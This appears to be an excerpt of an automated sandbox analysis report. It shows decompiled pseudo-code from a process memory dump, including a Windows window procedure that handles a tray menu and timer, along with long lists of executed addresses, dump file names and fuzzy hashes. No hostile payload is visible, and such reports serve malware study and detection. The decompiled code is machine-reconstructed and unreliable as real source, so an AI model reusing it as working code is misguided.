										goto L55;
									case 0xb:
										_push(0x14);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											L209:
											__eax = 0;
											 *__esi = 0;
											goto L55;
										}
										__ecx =  *0xf895f0; // 0x0
										__eax = E00F5082A(__eax, __ecx);
										 *__esi = __eax;
										goto L55;
								}
							}
							L54:
							_t554 =  *0xf895f0; // 0x0
							 *_t563 = _t554;
							goto L55;
						}
					}
					L9:
					_t490 = 0x14;
					goto L10;
				}
			}

0x00eea9d0
0x00eea9d6
0x00eea9e6
0x00eea9ea
0x00eea9f0
0x00eeb0dc
0x00eeb0e7
0x00eeb0ed
0x00eeb0f3
0x00eeb0f9
0x00eeb0fe
0x00eeb0fe
0x00eea9f6
0x00eea9f9
0x00eea9fb
0x00eeaa00
0x00eeaa04
0x00eeaa08
0x00eeaa0c
0x00eeaa11
0x00eeaa16
0x00eeaa1b
0x00f0aff8
0x00eeaa21
0x00eeaa21
0x00eeaa21
0x00eeaa2a
0x00eeaa2d
0x00eeaa33
0x00eeaa40
0x00eeaa44
0x00eeaa4c
0x00eeaa50
0x00eeaa50
0x00eeaa50
0x00eeaa55
0x00000000
0x00000000
0x00eeaa57
0x00eeaa60
0x00eeaa67
0x00000000
0x00000000
0x00eeaa69
0x00eeaa70
0x00eeaafd
0x00eeab01
0x00eeab09
0x00eeab0b
0x00eeae9a
0x00eeae9f
0x00eeafa4
0x00eeafa6
0x00eeafab
0x00eeafae
0x00eeafb0
0x00f0b980
0x00eeafb6
0x00eeafb6
0x00eeafba
0x00eeafc3
0x00eeafc8
0x00eeafca
0x00eeafca
0x00eeafd2
0x00eeafd5
0x00eeaea5
0x00eeaeae
0x00eeaeb3
0x00eeaeb7
0x00eeaeb7
0x00eeab80
0x00eeab88
0x00eeab8b
0x00eeab8c
0x00eeab90
0x00eeab93
0x00eeaec1
0x00eeaec6
0x00eeaeca
0x00f0b98a
0x00eeaed0
0x00eeaed0
0x00eeaed0
0x00eeab99
0x00eeab99
0x00eeab99
0x00eeab9d
0x00eeaba1
0x00eeaba3
0x00eeaba6
0x00eeaba8
0x00f0b994
0x00f0b999
0x00f0b99d
0x00f0b99d
0x00eeabae
0x00eeabb1
0x00eeabb4
0x00f0b9a9
0x00f0b9ab
0x00f0b9ad
0x00000000
0x00000000
0x00f0b9b4
0x00f0b9be
0x00f0b9c0
0x00f0b9c1
0x00f0b9c6
0x00000000
0x00eeabba
0x00eeabba
0x00eeabba
0x00eeabbd
0x00f0b9ce
0x00f0b9d0
0x00f0b9d2
0x00f0b9d9
0x00f0b9d9
0x00eeabc3
0x00eeabc3
0x00eeabc6
0x00f0b9e7
0x00eeabcc
0x00eeabcc
0x00eeabcf
0x00f0b9f5
0x00f0b9f7
0x00f0b9fa
0x00f0b9fb
0x00f0ba09
0x00f0ba0a
0x00f0ba0f
0x00eeabd5
0x00eeabd5
0x00eeabd8
0x00f0ba17
0x00f0ba19
0x00f0ba1b
0x00f0ba22
0x00f0ba22
0x00f0ba1b
0x00eeabd8
0x00eeabcf
0x00eeabc6
0x00eeabde
0x00eeabde
0x00eeabe2
0x00eeabe4
0x00eeabea
0x00eeabf1
0x00eeabf6
0x00eeabf9
0x00eeabfb
0x00f0ba2c
0x00eeac01
0x00eeac03
0x00eeac08
0x00eeac0b
0x00eeac0e
0x00eeac11
0x00eeac14
0x00eeac17
0x00eeac17
0x00eeac17
0x00eeac1d
0x00eeac20
0x00eeac24
0x00eeac26
0x00eeac2d
0x00f0ba3d
0x00f0ba42
0x00f0ba42
0x00eeac33
0x00eeac3a
0x00f0ba5a
0x00f0ba5a
0x00eeaa50
0x00eeaa50
0x00eeaa50
0x00eeaa55
0x00000000
0x00000000
0x00000000
0x00eeaa55
0x00eeaa50
0x00eeabb4
0x00eeab11
0x00eeab17
0x00000000
0x00000000
0x00eeab19
0x00eeab1c
0x00eeab1e
0x00f0b6fc
0x00f0b701
0x00f0b701
0x00eeab24
0x00eeab27
0x00eeab2a
0x00f0b70d
0x00f0b70f
0x00f0b711
0x00000000
0x00000000
0x00f0b718
0x00f0b720
0x00f0b721
0x00f0b726
0x00000000
0x00eeab30
0x00eeab30
0x00eeab30
0x00eeab33
0x00f0b72e
0x00f0b730
0x00f0b732
0x00f0b739
0x00f0b739
0x00eeab39
0x00eeab39
0x00eeab3c
0x00f0b745
0x00eeab42
0x00eeab42
0x00eeab45
0x00f0b754
0x00f0b755
0x00f0b75f
0x00f0b760
0x00f0b765
0x00eeab4b
0x00eeab4b
0x00eeab4e
0x00f0b76d
0x00f0b76f
0x00f0b771
0x00f0b778
0x00f0b778
0x00f0b771
0x00eeab4e
0x00eeab45
0x00eeab3c
0x00eeab54
0x00eeab54
0x00eeab5b
0x00eeab61
0x00eeab67
0x00eeab6a
0x00eeab6f
0x00eeab72
0x00f0b782
0x00f0b783
0x00f0b786
0x00000000
0x00000000
0x00f0b78c
0x00000000
0x00000000
0x00000000
0x00f0b798
0x00f0b7a0
0x00000000
0x00000000
0x00f0b7a8
0x00f0b7ae
0x00000000
0x00000000
0x00f0b7b5
0x00f0b7b7
0x00f0b7bc
0x00f0b7bf
0x00f0b7c1
0x00f0b7ed
0x00f0b7ef
0x00f0b7c7
0x00f0b7c7
0x00f0b7cd
0x00f0b7cf
0x00f0b7d1
0x00f0b7d4
0x00f0b7d7
0x00f0b7da
0x00f0b7dd
0x00f0b7e0
0x00f0b7e3
0x00f0b7e5
0x00f0b7e5
0x00000000
0x00000000
0x00f0b810
0x00f0b815
0x00f0b81a
0x00f0b81d
0x00f0b81f
0x00f0b844
0x00f0b844
0x00f0b825
0x00f0b825
0x00f0b82b
0x00f0b82f
0x00f0b834
0x00f0b836
0x00f0b836
0x00f0b836
0x00f0b838
0x00f0b83c
0x00f0b83c
0x00f0b846
0x00f0b848
0x00f0b84c
0x00f0b852
0x00f0b855
0x00f0b855
0x00000000
0x00000000
0x00f0b7f7
0x00f0b7fc
0x00000000
0x00000000
0x00f0b803
0x00f0b809
0x00000000
0x00000000
0x00f0b85c
0x00f0b863
0x00f0b869
0x00f0b86b
0x00f0b870
0x00f0b873
0x00f0b874
0x00f0b876
0x00f0b87c
0x00f0b882
0x00f0b884
0x00f0b885
0x00f0b886
0x00f0b88c
0x00f0b88e
0x00f0b894
0x00f0b896
0x00f0b897
0x00f0b89d
0x00f0b89f
0x00f0b8a0
0x00f0b8a5
0x00f0b8a8
0x00f0b8a8
0x00f0b88e
0x00000000
0x00000000
0x00f0b8b3
0x00f0b8b8
0x00000000
0x00000000
0x00f0b8bf
0x00f0b8c1
0x00f0b8c6
0x00f0b8c9
0x00f0b8cb
0x00000000
0x00000000
0x00f0b8d1
0x00f0b8d9
0x00f0b8de
0x00000000
0x00000000
0x00f0b8ee
0x00f0b8f0
0x00f0b8f5
0x00f0b8f7
0x00f0b8fd
0x00f0b8ff
0x00f0b901
0x00f0b903
0x00f0b905
0x00f0b908
0x00f0b90a
0x00f0b93e
0x00f0b940
0x00f0b945
0x00f0b947
0x00f0b94a
0x00f0b94c
0x00f0b94f
0x00f0b952
0x00f0b910
0x00f0b910
0x00f0b911
0x00f0b916
0x00f0b918
0x00f0b91b
0x00f0b91d
0x00f0b91f
0x00f0b925
0x00f0b928
0x00f0b92c
0x00f0b931
0x00f0b936
0x00000000
0x00000000
0x00f0b95a
0x00f0b95c
0x00f0b961
0x00f0b964
0x00f0b966
0x00f0b8e5
0x00f0b8e5
0x00f0b8e7
0x00000000
0x00f0b8e7
0x00f0b96c
0x00f0b974
0x00f0b979
0x00000000
0x00000000
0x00f0b78c
0x00eeab78
0x00eeab78
0x00eeab7e
0x00000000
0x00eeab7e
0x00eeab2a
0x00eeaa79
0x00eeac45
0x00eeac48
0x00eead8a
0x00eead8d
0x00000000
0x00000000
0x00eead93
0x00eead9a
0x00000000
0x00eeb042
0x00eeb044
0x00eeb047
0x00eeb052
0x00eeb052
0x00eeb055
0x00f0b20b
0x00f0b20e
0x00f0b211
0x00000000
0x00000000
0x00f0b217
0x00f0b21e
0x00000000
0x00f0b225
0x00f0b226
0x00f0b22b
0x00000000
0x00000000
0x00f0b232
0x00f0b233
0x00f0b238
0x00000000
0x00000000
0x00f0b264
0x00f0b269
0x00f0b26d
0x00f0b275
0x00f0b27a
0x00f0b27f
0x00f0b283
0x00000000
0x00000000
0x00f0b23f
0x00f0b244
0x00f0b248
0x00f0b250
0x00f0b255
0x00f0b25a
0x00f0b25e
0x00f0b284
0x00f0b284
0x00f0b28d
0x00f0b28e
0x00f0b293
0x00f0b296
0x00f0b298
0x00000000
0x00000000
0x00f0b2a1
0x00f0b2a4
0x00f0b2a9
0x00f0b2ab
0x00f0b2b8
0x00f0b2bf
0x00f0b2c0
0x00f0b2c5
0x00f0b2ca
0x00f0b2ce
0x00f0b2d3
0x00f0b2da
0x00f0b2e5
0x00f0b2e8
0x00f0b2ea
0x00f0b2f1
0x00f0b2f6
0x00f0b2fa
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0b21e
0x00eeb05b
0x00eeb05c
0x00eeb05f
0x00000000
0x00eeb05f
0x00eeb049
0x00eeb04c
0x00000000
0x00000000
0x00000000
0x00000000
0x00eeafec
0x00eeaff1
0x00eeaff5
0x00eeaffd
0x00eeb002
0x00eeb007
0x00f0b0b1
0x00f0b0b6
0x00f0b0c8
0x00f0b0bc
0x00f0b0bc
0x00f0b0c0
0x00f0b0c0
0x00eeb00d
0x00eeb00d
0x00eeb00d
0x00eeb011
0x00eeb014
0x00eeb019
0x00eeb01c
0x00eeb021
0x00eeb023
0x00000000
0x00eeb029
0x00eeb029
0x00eeb030
0x00000000
0x00000000
0x00eeb036
0x00eeb03a
0x00000000
0x00eeb03a
0x00000000
0x00f0afff
0x00f0b004
0x00f0b008
0x00f0b010
0x00f0b015
0x00f0b018
0x00f0b01b
0x00f0b01d
0x00f0b020
0x00f0b023
0x00f0b026
0x00f0b028
0x00f0b02a
0x00f0b033
0x00f0b035
0x00f0b03a
0x00f0b03e
0x00f0b045
0x00f0b047
0x00f0b04a
0x00f0b04c
0x00000000
0x00000000
0x00f0b055
0x00f0b05a
0x00f0b05e
0x00f0b066
0x00f0b06b
0x00f0b06e
0x00f0b071
0x00f0b073
0x00f0b076
0x00f0b079
0x00f0b07b
0x00f0b07d
0x00f0b086
0x00f0b088
0x00f0b08d
0x00f0b091
0x00f0b093
0x00f0b09a
0x00f0b09c
0x00000000
0x00000000
0x00f0b158
0x00f0b15d
0x00f0b161
0x00f0b166
0x00f0b169
0x00f0b16b
0x00f0b16e
0x00f0b171
0x00f0b173
0x00f0b176
0x00f0b179
0x00f0b17b
0x00f0b17d
0x00f0b180
0x00f0b183
0x00f0b186
0x00f0b18a
0x00f0b18d
0x00f0b191
0x00f0b194
0x00f0b198
0x00f0b19a
0x00f0b19e
0x00f0b1a3
0x00f0b1a7
0x00f0b1a8
0x00f0b1a9
0x00f0b1ae
0x00f0b1b0
0x00f0bad7
0x00f0bad9
0x00f0badc
0x00f0baeb
0x00f0baf0
0x00f0baf0
0x00f0baf4
0x00000000
0x00f0baf4
0x00f0b1b6
0x00f0b1ba
0x00f0b1bd
0x00000000
0x00000000
0x00eeaf59
0x00eeaf5e
0x00eeaf62
0x00eeaf6a
0x00eeaf6f
0x00eeaf74
0x00eeb073
0x00eeb078
0x00f0b0a5
0x00f0b0a9
0x00eeb07e
0x00eeb07e
0x00eeb07e
0x00eeaf7a
0x00eeaf7a
0x00eeaf7a
0x00eeaf7e
0x00eeaf82
0x00eeaf88
0x00eeaf8b
0x00eeaf90
0x00eeaf92
0x00f0bacd
0x00f0bad1
0x00000000
0x00eeaf98
0x00eeaf98
0x00eeaf9c
0x00000000
0x00eeaf9c
0x00000000
0x00f0b0d1
0x00f0b0d6
0x00f0b0da
0x00f0b0df
0x00f0b0e6
0x00f0b0eb
0x00f0b0f0
0x00f0b0f4
0x00f0b0f8
0x00f0b0fd
0x00f0b0ff
0x00000000
0x00000000
0x00f0b105
0x00f0b10c
0x00000000
0x00000000
0x00f0b112
0x00f0b116
0x00f0b119
0x00000000
0x00000000
0x00f0b302
0x00f0b304
0x00f0b34c
0x00f0b34c
0x00f0b350
0x00f0b357
0x00f0b35c
0x00f0b35e
0x00f0bb1f
0x00f0bb22
0x00f0bb27
0x00f0bb35
0x00f0bb3a
0x00f0bb3e
0x00000000
0x00f0bb3e
0x00f0b364
0x00f0b366
0x00f0b369
0x00f0b36d
0x00f0b371
0x00f0b373
0x00f0b375
0x00f0b37d
0x00f0b382
0x00f0b385
0x00f0b389
0x00f0b38a
0x00f0b38b
0x00f0b38c
0x00f0b38e
0x00f0b393
0x00f0b395
0x00f0bb44
0x00f0bb47
0x00f0bb4c
0x00f0bb57
0x00f0bb5c
0x00000000
0x00f0bb5c
0x00f0b39b
0x00f0b39f
0x00f0b3a3
0x00f0b3ab
0x00f0b3b0
0x00f0b3b2
0x00f0b3b7
0x00f0b3bb
0x00000000
0x00f0b3bb
0x00f0b30d
0x00f0b311
0x00f0b315
0x00f0b325
0x00f0b325
0x00f0b338
0x00f0b33d
0x00f0b33f
0x00f0bafa
0x00f0bafd
0x00f0bb02
0x00f0bb10
0x00f0bb15
0x00f0bb19
0x00000000
0x00f0bb19
0x00f0b345
0x00000000
0x00f0b345
0x00f0b31b
0x00f0b31f
0x00000000
0x00000000
0x00000000
0x00000000
0x00eeb066
0x00eeb067
0x00eeb06c
0x00000000
0x00000000
0x00eeb110
0x00eeb111
0x00eeb116
0x00000000
0x00000000
0x00eeb106
0x00eeb108
0x00eeb109
0x00000000
0x00000000
0x00f0b1ca
0x00f0b1cb
0x00f0b1d0
0x00000000
0x00000000
0x00f0b1f1
0x00f0b1f2
0x00f0b1f7
0x00000000
0x00000000
0x00f0b1e4
0x00f0b1e5
0x00f0b1ea
0x00000000
0x00000000
0x00eeaf1c
0x00eeaf1d
0x00eeaf22
0x00000000
0x00000000
0x00eeaf29
0x00eeaf2a
0x00eeaf2f
0x00000000
0x00000000
0x00eeae4e
0x00eeae52
0x00eeae55
0x00eeafde
0x00eeafe1
0x00000000
0x00000000
0x00f0b126
0x00eeae60
0x00eeae60
0x00eeae61
0x00000000
0x00eeae61
0x00eeae5b
0x00eeae5b
0x00000000
0x00000000
0x00f0b130
0x00f0b134
0x00f0b137
0x00f0b14b
0x00f0b14b
0x00f0b150
0x00f0b150
0x00f0b151
0x00000000
0x00f0b151
0x00f0b13d
0x00f0b142
0x00f0b145
0x00000000
0x00000000
0x00000000
0x00000000
0x00eeae8d
0x00eeae8e
0x00eeae93
0x00000000
0x00000000
0x00eeada2
0x00eeada7
0x00000000
0x00000000
0x00eeaf36
0x00eeaf37
0x00eeaf3c
0x00000000
0x00000000
0x00f0b1d7
0x00f0b1d8
0x00f0b1dd
0x00000000
0x00000000
0x00f0b1fe
0x00f0b1ff
0x00f0b204
0x00eeaa8d
0x00eeaa8d
0x00eeaa91
0x00eeaa95
0x00eeaa95
0x00eeaa99
0x00eeaa9f
0x00eeadae
0x00eeaaa5
0x00eeaaa5
0x00eeaaa5
0x00eeaaac
0x00eeaab7
0x00eead3c
0x00eead3f
0x00eead6f
0x00eead6f
0x00eead72
0x00eeb087
0x00eeb087
0x00eeb08c
0x00eead81
0x00eead81
0x00eeaa50
0x00eeaa50
0x00eeaa50
0x00eeaa55
0x00000000
0x00000000
0x00000000
0x00eeaa55
0x00000000
0x00eeaa50
0x00eeb09f
0x00eeb0a6
0x00eeb0ab
0x00eeb0ad
0x00f0ba6b
0x00f0ba6b
0x00f0ba70
0x00eeb0ca
0x00eeb0ce
0x00eeb0d3
0x00000000
0x00eeb0d3
0x00f0ba76
0x00f0ba7b
0x00f0ba80
0x00f0ba85
0x00f0ba87
0x00f0bbc9
0x00f0bbce
0x00f0bbd2
0x00f0bbd2
0x00f0bbd7
0x00f0bbdb
0x00f0bbdc
0x00f0bbdc
0x00f0bbe5
0x00f0bbea
0x00eeaaf4
0x00eeaafa
0x00eeaafa
0x00f0ba8d
0x00f0ba91
0x00f0ba95
0x00f0baaa
0x00f0bab3
0x00f0ba9b
0x00f0ba9b
0x00f0baa4
0x00f0baa4
0x00f0bab9
0x00f0baba
0x00f0bac3
0x00000000
0x00f0bac3
0x00eeb0b3
0x00eeb0b8
0x00eeb0bc
0x00000000
0x00000000
0x00eeb0c2
0x00eeb0c4
0x00000000
0x00000000
0x00000000
0x00eeb0c4
0x00eead78
0x00eead7b
0x00000000
0x00000000
0x00000000
0x00eead7b
0x00eead41
0x00000000
0x00eead48
0x00eead4a
0x00eeae26
0x00eeae28
0x00eead50
0x00eead50
0x00eead52
0x00eead57
0x00eead5a
0x00eead5c
0x00f0ba64
0x00eead62
0x00eead62
0x00eead62
0x00eead64
0x00eead67
0x00eead67
0x00eead6b
0x00eead6b
0x00eead6b
0x00000000
0x00000000
0x00000000
0x00000000
0x00eeaee0
0x00eeaee0
0x00eeaee4
0x00eeaee6
0x00eeaf51
0x00eeaee8
0x00eeaee8
0x00eeaee8
0x00eeaeeb
0x00eeaeee
0x00000000
0x00000000
0x00eeaef0
0x00eeaef2
0x00eeaf55
0x00eeaef4
0x00eeaef4
0x00eeaef4
0x00eeaef7
0x00eeaefa
0x00000000
0x00eeaf00
0x00eeaf00
0x00eeaf05
0x00eeaf09
0x00eeaf0e
0x00eeaf10
0x00000000
0x00eeaf16
0x00eeaf16
0x00000000
0x00eeaf16
0x00eeaf10
0x00eeaefa
0x00eeaf43
0x00eeaf47
0x00000000
0x00000000
0x00000000
0x00000000
0x00f0bb91
0x00f0bb95
0x00f0bb9d
0x00000000
0x00000000
0x00f0bba7
0x00f0bbab
0x00f0bbb3
0x00000000
0x00000000
0x00f0bb7b
0x00f0bb7b
0x00f0bb7f
0x00f0bb87
0x00000000
0x00000000
0x00eead41
0x00eeaac2
0x00000000
0x00000000
0x00eeaac8
0x00eeaace
0x00eeae68
0x00eeae70
0x00eeae70
0x00eeae73
0x00eeae78
0x00eeae79
0x00eeae7e
0x00eeae81
0x00eeae83
0x00eeae83
0x00eeae70
0x00eeaad4
0x00eeaada
0x00eeaaf2
0x00eeaaf2
0x00000000
0x00eeaae0
0x00eeaae0
0x00eeaae0
0x00eeaae3
0x00eeaae4
0x00eeaae9
0x00eeaaec
0x00eeaaee
0x00000000
0x00eeaae0
0x00eeae0b
0x00eeae0b
0x00eeae10
0x00eeae14
0x00eeae19
0x00eeae19
0x00f0bb65
0x00f0bb71
0x00000000
0x00000000
0x00000000
0x00000000
0x00eead9a
0x00eeac4e
0x00eeac52
0x00eeac5a
0x00eeac5c
0x00eeadb6
0x00eeadbb
0x00eeae3b
0x00eeae40
0x00eeae44
0x00eeadbd
0x00eeadbd
0x00eeadbf
0x00eeadc4
0x00eeadc7
0x00eeadc9
0x00f0b649
0x00eeadcf
0x00eeadcf
0x00eeadd3
0x00eeaddc
0x00eeade1
0x00eeade3
0x00eeade3
0x00eeadeb
0x00eeadee
0x00eeadee
0x00eeacd0
0x00eeacd8
0x00eeacdb
0x00eeacdc
0x00eeace0
0x00eeace3
0x00eeadf7
0x00eeadfc
0x00f0b654
0x00eeae02
0x00eeae02
0x00eeae02
0x00eeace9
0x00eeace9
0x00eeace9
0x00eeaceb
0x00eeaced
0x00eeacf0
0x00eeacf4
0x00eeacf6
0x00f0b65d
0x00f0b662
0x00f0b666
0x00f0b666
0x00eeacfc
0x00eeacff
0x00eead02
0x00f0b672
0x00f0b674
0x00f0b676
0x00000000
0x00000000
0x00f0b67d
0x00f0b685
0x00f0b686
0x00f0b68b
0x00f0b68f
0x00000000
0x00eead08
0x00eead08
0x00eead08
0x00eead0b
0x00f0b697
0x00f0b699
0x00f0b69b
0x00f0b6a2
0x00f0b6a7
0x00f0b6a7
0x00eead11
0x00eead11
0x00eead14
0x00f0b6b2
0x00f0b6b7
0x00eead1a
0x00eead1a
0x00eead1d
0x00f0b6c5
0x00f0b6c6
0x00f0b6d0
0x00f0b6d1
0x00f0b6d6
0x00f0b6da
0x00eead23
0x00eead23
0x00eead26
0x00f0b6e2
0x00f0b6e4
0x00f0b6e6
0x00f0b6ed
0x00f0b6f2
0x00f0b6f2
0x00f0b6e6
0x00eead26
0x00eead1d
0x00eead14
0x00eead2c
0x00eead2c
0x00eead33
0x00eead35
0x00000000
0x00eead35
0x00eead02
0x00eeac62
0x00eeac68
0x00000000
0x00000000
0x00eeac6a
0x00eeac6d
0x00eeac6f
0x00f0b3c4
0x00f0b3c9
0x00f0b3c9
0x00eeac75
0x00eeac78
0x00eeac7b
0x00f0b3d5
0x00f0b3d7
0x00f0b3d9
0x00000000
0x00000000
0x00f0b3e0
0x00f0b3e8
0x00f0b3e9
0x00f0b3ee
0x00000000
0x00eeac81
0x00eeac81
0x00eeac81
0x00eeac84
0x00f0b3f6
0x00f0b3f8
0x00f0b3fa
0x00f0b401
0x00f0b401
0x00eeac8a
0x00eeac8a
0x00eeac8d
0x00f0b40d
0x00eeac93
0x00eeac93
0x00eeac96
0x00f0b41c
0x00f0b41d
0x00f0b427
0x00f0b428
0x00f0b42d
0x00eeac9c
0x00eeac9c
0x00eeac9f
0x00f0b435
0x00f0b437
0x00f0b439
0x00f0b440
0x00f0b440
0x00f0b439
0x00eeac9f
0x00eeac96
0x00eeac8d
0x00eeaca5
0x00eeaca5
0x00eeacac
0x00eeacb2
0x00eeacb7
0x00eeacba
0x00eeacbf
0x00eeacc2
0x00f0b44a
0x00f0b44b
0x00f0b44e
0x00000000
0x00000000
0x00f0b454
0x00000000
0x00000000
0x00000000
0x00f0b461
0x00f0b463
0x00f0b469
0x00000000
0x00000000
0x00f0b471
0x00f0b477
0x00000000
0x00000000
0x00f0b47e
0x00f0b480
0x00f0b485
0x00f0b488
0x00f0b48a
0x00f0b4b6
0x00f0b4b8
0x00f0b490
0x00f0b490
0x00f0b496
0x00f0b498
0x00f0b49a
0x00f0b49d
0x00f0b4a0
0x00f0b4a3
0x00f0b4a6
0x00f0b4a9
0x00f0b4ac
0x00f0b4ae
0x00f0b4ae
0x00000000
0x00000000
0x00f0b4d9
0x00f0b4de
0x00f0b4e3
0x00f0b4e6
0x00f0b4e8
0x00f0b50d
0x00f0b50d
0x00f0b4ee
0x00f0b4ee
0x00f0b4f4
0x00f0b4f8
0x00f0b4fd
0x00f0b4ff
0x00f0b4ff
0x00f0b4ff
0x00f0b501
0x00f0b505
0x00f0b505
0x00f0b50f
0x00f0b511
0x00f0b515
0x00f0b51b
0x00f0b51e
0x00f0b51e
0x00000000
0x00000000
0x00f0b4c0
0x00f0b4c5
0x00000000
0x00000000
0x00f0b4cc
0x00f0b4d2
0x00000000
0x00000000
0x00f0b525
0x00f0b52c
0x00f0b532
0x00f0b534
0x00f0b539
0x00f0b53c
0x00f0b53d
0x00f0b53f
0x00f0b545
0x00f0b54b
0x00f0b54d
0x00f0b54e
0x00f0b54f
0x00f0b555
0x00f0b557
0x00f0b55d
0x00f0b55f
0x00f0b560
0x00f0b566
0x00f0b568
0x00f0b569
0x00f0b56e
0x00f0b571
0x00f0b571
0x00f0b557
0x00000000
0x00000000
0x00f0b57c
0x00f0b581
0x00000000
0x00000000
0x00f0b588
0x00f0b58a
0x00f0b58f
0x00f0b592
0x00f0b594
0x00000000
0x00000000
0x00f0b59a
0x00f0b5a2
0x00f0b5a7
0x00000000
0x00000000
0x00f0b5b7
0x00f0b5b9
0x00f0b5be
0x00f0b5c0
0x00f0b5c6
0x00f0b5c8
0x00f0b5ca
0x00f0b5cc
0x00f0b5ce
0x00f0b5d1
0x00f0b5d3
0x00f0b607
0x00f0b609
0x00f0b60e
0x00f0b610
0x00f0b613
0x00f0b615
0x00f0b618
0x00f0b61b
0x00f0b5d9
0x00f0b5d9
0x00f0b5da
0x00f0b5df
0x00f0b5e1
0x00f0b5e4
0x00f0b5e6
0x00f0b5e8
0x00f0b5ee
0x00f0b5f1
0x00f0b5f5
0x00f0b5fa
0x00f0b5ff
0x00000000
0x00000000
0x00f0b623
0x00f0b625
0x00f0b62a
0x00f0b62d
0x00f0b62f
0x00f0b5ae
0x00f0b5ae
0x00f0b5b0
0x00000000
0x00f0b5b0
0x00f0b635
0x00f0b63d
0x00f0b642
0x00000000
0x00000000
0x00f0b454
0x00eeacc8
0x00eeacc8
0x00eeacce
0x00000000
0x00eeacce
0x00eeac7b
0x00eeaa88
0x00eeaa88
0x00000000
0x00eeaa88

Strings

Default, xrefs: 00F0B2A4

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _malloc
String ID: Default
API String ID: 1579825452-753088835
Opcode ID: 885c837cfe92ec0bdce95e528be0e05d21307148c65b24c37a32e406098664d7
Instruction ID: f481d8b2e5d4a3ebea4d042e3fd3c08d4f23fdea9bb8da45cfa98a3018f473aa
Opcode Fuzzy Hash: 885c837cfe92ec0bdce95e528be0e05d21307148c65b24c37a32e406098664d7
Instruction Fuzzy Hash: FF72A070608389CFC714DF26C881A6AB7E5BF84314F28986DE986AB351D735EC44EB53

Uniqueness

Uniqueness Score: -1.00%

Function 00EE1340, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129
timewindowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00EE1340(int __edi, struct HWND__* _a4, int _a8, signed int _a12) {
				struct HWND__* __ebx;
				void* __esi;
				signed int _t20;
				long _t22;
				void* _t36;
				struct HWND__* _t38;
				void* _t43;
				void* _t49;
				int _t52;
				void* _t67;

				_t52 = __edi;
				_t38 = _a4;
				if(_t38 !=  *0xf77518) {
					__eflags =  *0xf77518;
					if( *0xf77518 == 0) {
						goto L1;
					} else {
						goto L4;
					}
				} else {
					L1:
					if(_t52 >= 0x111 || _t52 < 0x12) {
						__eflags = _t52 - 0x113;
						if(_t52 == 0x113) {
							E00EE1490(_a8, _t43, _t38, 0xf88710); // executed
							goto L15;
						} else {
							__eflags = _t52 - 0x10;
							if(__eflags <= 0) {
								if(__eflags == 0) {
									 *0xf774e6 = 1;
									E00EEFF70(_t43, 0xf88178);
									goto L15;
								} else {
									_t20 = _t52 - 1;
									__eflags = _t20 - 6;
									if(_t20 > 6) {
										goto L3;
									} else {
										switch( *((intOrPtr*)(_t20 * 4 +  &M00EE146C))) {
											case 0:
												__eax = SetTimer(__ebx, 1, 0x2ee, 0); // executed
												__eax = RegisterWindowMessageW(L"TaskbarCreated");
												__eflags =  *0xf88710;
												 *0xf895e8 = __eax;
												if( *0xf88710 != 0) {
													goto L15;
												} else {
													__eax = CreatePopupMenu();
													_pop(__esi);
													 *0xf88710 = __eax;
													__eax = 0;
													__eflags = 0;
													_pop(__ebx);
													return 0;
												}
												goto L35;
											case 1:
												KillTimer(_t38, 1);
												E00EE1240(0xf88710);
												PostQuitMessage(0);
												__eflags = 0;
												return 0;
												goto L35;
											case 2:
												goto L3;
											case 3:
												__eax = _a12;
												__ecx = _a12;
												__edx = __ax & 0x0000ffff;
												__eax =  *0xf77514;
												__ecx = _a12 >> 0x10;
												__eax = MoveWindow( *0xf77514, 0, 0, __ax & 0x0000ffff, _a12 >> 0x10, 1);
												goto L15;
											case 4:
												 *0xf77514 = SetFocus( *0xf77514);
												goto L15;
										}
									}
								}
							} else {
								__eflags = _t52 - 0x312;
								if(__eflags > 0) {
									__eflags = _t52 - 0x401;
									if(_t52 != 0x401) {
										goto L3;
									} else {
										E00F4E7D4(_t67, 0xf88710, _t38, _a12);
										goto L15;
									}
								} else {
									if(__eflags == 0) {
										__eflags =  *0xf774ec;
										if(__eflags == 0) {
											E00F17066( &_a8, __eflags,  &_a8);
										}
										goto L4;
									} else {
										__eflags = _t52 - 0x11;
										if(_t52 == 0x11) {
											asm("sbb eax, eax");
											 *0xf774f0 =  ~(_a12 & 0x80000000) + 4;
											 *0xf774e6 = 0;
											E00EEFF70(_t43, 0xf88178);
											E00EE1C50(0xf88178, _t49, __eflags, _t67);
											_t38 = _a4;
											goto L4;
										} else {
											__eflags = _t52 - 0x111;
											if(__eflags != 0) {
												goto L3;
											} else {
												_t36 = E00F47BBF(__eflags, _t67, 0xf88710, _a8, _a12);
												__eflags = _t36 - 1;
												if(_t36 != 1) {
													goto L4;
												} else {
													L15:
													__eflags = 0;
													return 0;
												}
											}
										}
									}
								}
							}
						}
					} else {
						L3:
						if(_t52 ==  *0xf895e8) {
							__eflags =  *0xf774ea - 1;
							if( *0xf774ea == 1) {
								E00EE1240(0xf88710);
								E00EEE2C0(0xf88710, _t67);
							}
						}
						L4:
						_t22 = DefWindowProcW(_t38, _t52, _a8, _a12); // executed
						return _t22;
					}
				}
				L35:
			}

0x00ee1340
0x00ee1347
0x00ee1351
0x00ee13be
0x00ee13c0
0x00000000
0x00ee13c2
0x00000000
0x00ee13c2
0x00ee1353
0x00ee1353
0x00ee1359
0x00ee1384
0x00ee138a
0x00ee13ce
0x00000000
0x00ee138c
0x00ee138c
0x00ee138f
0x00ee13dd
0x00f0af3d
0x00f0af44
0x00000000
0x00ee13e3
0x00ee13e3
0x00ee13e6
0x00ee13e9
0x00000000
0x00ee13ef
0x00ee13ef
0x00000000
0x00ee1425
